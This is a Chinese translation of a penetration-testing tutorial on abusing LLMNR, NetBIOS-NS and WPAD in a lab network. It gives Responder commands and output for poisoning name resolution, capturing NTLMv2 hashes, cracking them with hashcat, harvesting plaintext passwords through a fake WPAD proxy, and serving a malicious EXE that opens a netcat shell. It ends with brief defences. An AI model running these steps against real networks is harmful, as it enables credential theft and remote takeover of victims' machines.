LLMNR&WPAD介绍以及渗透测试中的利用

原文:https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

在内网渗透测试中,我们可以针对错误配置的网络服务和协议进行攻击,比如地址解析协议(ARP),动态主机配置协议(DHCP)和域名系统(DNS)等的错误配置。其中可以遇到的一个最重要的无疑是中间人攻击,它可以通过监听网络流量或操纵要访问的目标来访问敏感信息。虽然可以对诸如路由器和交换机的网络设备采取针对这种攻击的安全措施,但是由于一些协议的本身弱点,我们可以用不同的方法进行类似的中间人攻击。因此,本文的主题将是针对LLMNR,NetBIOS和WPAD机制的中间人攻击。在开始之前,本文将解释一下使用windows系统的计算机如何在同一个网络中进行通信,并执行名称解析。

该过程有如下步骤:

1.检查文件系统中的主机文件

在其配置文件中,查询其想要访问的系统信息。同时,它检查要访问的设备是否是自身。
配置文件位于C:WindowsSystem32driversetc

2.检查本地DNS缓存

首先检查缓存。如果要访问的设备的信息存在于高速缓存中,则使用该信息。
可以使用ipconfig / displaydns命令学习DNS缓存。

3.向DNS发送查询

如果计算机未从配置文件中找到任何其想要访问的设备的信息,它会向本地网络上的DNS服务器发送查询。

4.发送LLMNR查询

LLMNR是DNS服务器名称解析失败时处理的协议。

5.发送NetBIOS-NS查询

它在OSI模型的“会话”层中工作。 NetBIOS是一种API,不是协议,用于在Windows操作系统之间进行通信。
计算机的NetBIOS名称与计算机名称相同。

什么是LLMNR&WPAD

LLMNR(链路本地多播名称解析)和NetBIOS-NS(名称服务)是Windows操作系统用于名称解析和通信的两个组件。 LLMNR第一次被用于Windows Vista操作系统,被视为NetBIOS-NS服务的延续。

在DNS服务器名称解析查询失败的情况下,这两个服务继续名称解析。 LLMNR和NetBIOS-NS服务尝试解析DNS服务器无法应答的查询。 实际上,这是Windows操作系统计算机之间的合作形式。

LLMNR协议由IPv4的链路范围组播IP地址224.0.0.252和IPv6的FF02:0:0:0:0:0:1:3服务。 它通过5355的TCP/UDP端口执行自己的操作。

例如,当尝试ping到不在网络上的test.local时,第一个查询转到DNS服务器。 如果DNS服务器无法解析此域名,则查询将重定向到LLMNR协议。 LLMNR不是DNS协议的替代,它是DNS查询失败的情况下改进的解决方案。 它受Windows Vista之后推出的所有操作系统的支持。

llmnr_wireshark.png

NetBIOS是本地网络中的系统用于相互通信的API。 有三种不同的NetBIOS服务。

  • 名称服务,它使用UDP 137端口用于名称注册和名称解析。
  • 数据报分发服务,它使用UDP 138端口进行无连接通信。
  • 会话服务,它在TCP 139端口上执行面向连接通信的操作。

LLMNR协议在未成功的DNS查询之后使用,然后,作为广播查询的NetBIOS-NS分组被包括在流量中。

netbios_wireshark.png

理论上,这些看似无害和功能的系统没有保护在本地网络上的中间人攻击。 攻击者可以成功攻击获得敏感数据,如用户名和密码哈希。

通过操作流量捕获NTLMv2散列

主要情况如下图所示:

llmnr.png

1.受害者将尝试连接到文件共享系统,名为filesrvr,他键入不正确。

2.我们之前提到的步骤执行的名称解析将首先在受害者的计算机上进行查询。

3.在步骤2中,由于DNS服务器没有相应的记录,系统的名称作为LLMNR发送,NetBIOS-NS查询。

4.攻击者侦听网络流量,捕获名称解析查询。 我们告诉受害者,我们是受害者寻找的filsrvr。

攻击者将侦听广播并响应所有LLMNR和NetBIOS-NS查询。 以这种方式,可以操纵假会话并获得用户名和密码哈希。

有不同的工具来进行这个攻击。

  • Responder由SpiderLabs开发。 (本文将使用此工具)
  • llmnr_response(Metasploit框架中的一个模块)
  • MiTMf

我们通过指定网络端口号来开始监听网络流量。

root@kali:~# responder -i 10.7.7.31
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C
[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: False
WPAD script loaded: function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

受害者尝试连接filesrvr共享

flsrvr.png

我们获得了SMB-NTLMv2散列!

LLMNR poisoned answer sent to this IP: 10.7.7.30. The requested name was : filesrvr.
[+]SMB-NTLMv2 hash captured from : 10.7.7.30
[+]SMB complete hash is : Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000
NBT-NS Answer sent to: 10.7.7.30. The requested name was : TOWER

NTLMv2哈希不能直接用于攻击,因此,我们需要执行密码破解攻击,以从捕获的哈希中获取纯文本密码。 有几个工具可以用于散列破解:John the Ripper,Hashcat,Cain&Abel,Hydra等。我们将使用hashcat破解我们从Responder中获得的NTLMv2哈希。

Responder工具将检测到的哈希值保留在/usr/share/responder目录下。

root@kali:/usr/share/responder# ls *30*
SMB-NTLMv2-Client-10.7.7.30.txt

我们获得的NTLMv2哈希如下:

root@kali:/usr/share/responder# cat SMB-NTLMv2-Client-10.7.7.30.txt 
Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000

Hashcat是一个开源的密码破解工具,并且它有GPU支持。 它可以使用-m参数检测哈希模式,使用字典启动强力攻击。

root@kali:/usr/share/responder# hashcat -m 5600 SMB-NTLMv2-Client-10.7.7.30.txt ~/dic.txt 
Initializing hashcat v2.00 with 4 threads and 32mb segment-size...
Added hashes from file SMB-NTLMv2-Client-10.7.7.30.txt: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
[s]tatus [p]ause [r]esume [b]ypass [q]uit => 
Input.Mode: Dict (/root/dic.txt)
Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 6.46M plains, 6.46M words
Progress..: 3625424/3625424 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--
--- snippet ---
ADMINISTRATOR::PENTESTLAB:1122334455667788:e360938548a17bf8e36239e2a3cc8ffc:0101000000000000ee36b4ee7358d201e09a8038de69150f0000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c00080030003000000000000000000000000030000056a8a45ab1d3338b0049b358b877aeeee1aa43715ba0639fb20a86281c8fe2b40a0010000000000000000000000000000000000009001a0063006900660073002f00660069006c00650073007200760072000000000000000000:Abcde12345.
 
All hashes have been recovered
Input.Mode: Dict (/root/dic.txt)
Index.....: 5/5 (segment), 552915 (words), 5720161 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 1.60M words
Progress..: 552916/552915 (100.00%)
Running...: 00:00:00:01
Estimated.: > 10 Years
Started: Sat Dec 17 23:59:22 2016
Stopped: Sat Dec 17 23:59:25 2016
root@kali:/usr/share/responder#

我们得到的密码是Abcde12345。

什么是WPAD?

公司允许员工通过代理服务器访问互联网以提高效率,确保安全性并跟踪流量。连接到公司网络的用户需要知道特定URL的代理服务器,而无需进行配置。 Web代理自动发现协议(WPAD)是客户端使用DHCP和DNS发现方法来定位配置文件的URL的方法。 一旦配置文件的检测和下载完成,就可以通过执行它来确定指定URL的代理。

WPAD怎么工作?

客户端希望访问wpad.dat配置文件以进行代理配置。 它搜索本地网络上名为“wpad”的计算机以查找此文件。 然后执行以下步骤:

1.如果配置了DHCP服务器,则客户端从DHCP服务器检索wpad.dat文件(如果成功,则执行步骤4)

2.将wpad.corpdomain.com查询发送到DNS服务器以查找正在分发Wpad配置的设备。 (如果成功,则采取步骤4)

3.发送WPMN的LLMNR查询(如果成功,请转到步骤4,否则代理不能使用)

4.下载wpad.dat并使用

根据上述顺序,可以对第一步进行DHCP投毒攻击。 DNS投毒攻击自然可以执行第二步,但正如我在本文开头所指出的,配置的网络设备可以防止这些攻击。 当通过LLMNR进行查询时,该请求将通过广播去到网络中的每个客户端。 在这一点上,攻击者将他的wpad.dat文件发送到客户端,就像wpad服务器。

重要的是WPAD协议是在Windows操作系统中内置的。 此配置可以在Internet Explorer浏览器的LAN设置部分中看到。

wpad.png

通过此配置,Internet Explorer在整个网络上进行WPAD名称解析查询。

利用WPAD

Responder是MiTM攻击的一个很好的实用工具。 Responder创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。 Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。 自然地,员工写入在域名中使用的用户名和密码。 最后,我们可以看到他们的用户名和密码。

使用Responder工具真的很简单。

root@kali:~# git clone https://github.com/SpiderLabs/Responder.git
Cloning into 'Responder'...
remote: Counting objects: 886, done.
remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886
Receiving objects: 100% (886/886), 543.75 KiB | 255.00 KiB/s, done.
Resolving deltas: 100% (577/577), done.
Checking connectivity... done.

我设置了以下系统来模拟这种攻击。

wpad_topo-1.png

现在,我们创建了假的HTTP服务并等待明文密码。

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Poisoning Options:
 Analyze Mode [OFF]
 Force WPAD auth [ON]
 Force Basic Auth [ON]
 Force LM downgrade [OFF]
 Fingerprint hosts [OFF]
[+] Generic Options:
 Responder NIC [eth0]
 Responder IP [10.7.7.31]
 Challenge set [1122334455667788]
[+] Listening for events...

wpad_attack.png

明文密码如下:

root@kali:~/Responder# python Responder.py -I eth0 -wFb
---
snippet
---
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name GOOGLE.COM (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name WWW.GOOGLE.COM (service: Workstation/Redirector)
[HTTP] Basic Client : 10.7.7.30
[HTTP] Basic Username : PENTESTLAB\roland
[HTTP] Basic Password : secr3tPassw0rd123!
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[SMB] NTLMv2-SSP Client : 10.7.7.30
[SMB] NTLMv2-SSP Username : PENTESTLAB\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::PENTESTLAB:1122334455667788:8EBDB974DF3D5F4FB0CA15F1C5068856:01010000000000007894C6BE2C54D201FCEDFDB71BB6F1F20000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000B39077D5C9B729062C03BB45B88B0D9EC2672C57115A1FE3E06F77BD79551D8F0A001000000000000000000000000000000000000900220063006900660073002F007200650073007000700072006F00780079007300720076000000000000000000
[SMB] Requested Share : \\RESPPROXYSRV\IPC$
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] Skipping previously captured hash for PENTESTLAB\roland

Responder的后门

Responder不仅可以针对WPAD服务的MiTM攻击。 它也可以强制受害者到一个假网页下载恶意文件。 社会工程可以用来真实地准备用于这次攻击的网页,响应者本身也有一个假的重定向页面。 我们所需要做的就是对responder.conf文件进行一些修改。 我们将“Serve-HTML”和“Serve-EXE”参数设置为“On”。

[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On 
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On

我们再次运行Responder。

root@kali:~/Responder# python Responder.py -I eth0 -i 10.7.7.31 -r On -w On

现在,当受害者尝试使用互联网只会看到以下页面。 如果受害者点击代理客户端连接,下载CMD Shell,我们就可以使用netcat连接到受害者的140端口。

root@kali:~/Responder# nc 10.7.7.30 140 -vv
10.7.7.30: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [10.7.7.30] 140 (?) open
        | 
        | 
        | 
    /\  |  /\  
    //\. .//\ 
    //\ . //\ 
    /  ( )/  \ 
Welcome To Spider Shell!
ipconfig
Microsoft Windows [Version 6.1.7601]
(c) 2009 Microsoft Corporation. All Rights reserved.
C:\Users\Roland\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-spesific DNS Suffix   . : PENTESTLAB.local
   IPv4 Address . . . . . . . . . . . : 10.7.7.30
   Subnet Mask . . . . . . . . . . .  : 255.255.255.0
   Default Gateway . . . . . . . . .  : 10.7.7.1

针对WPAD的防御

  • 使用指向公司代理服务器的“WPAD”创建DNS条目, 所以攻击者将无法操纵流量。
  • 在所有具有组策略的Internet Explorer上禁用“自动检测代理设置”。

参考

标签: WPAD, LLMNR

添加新评论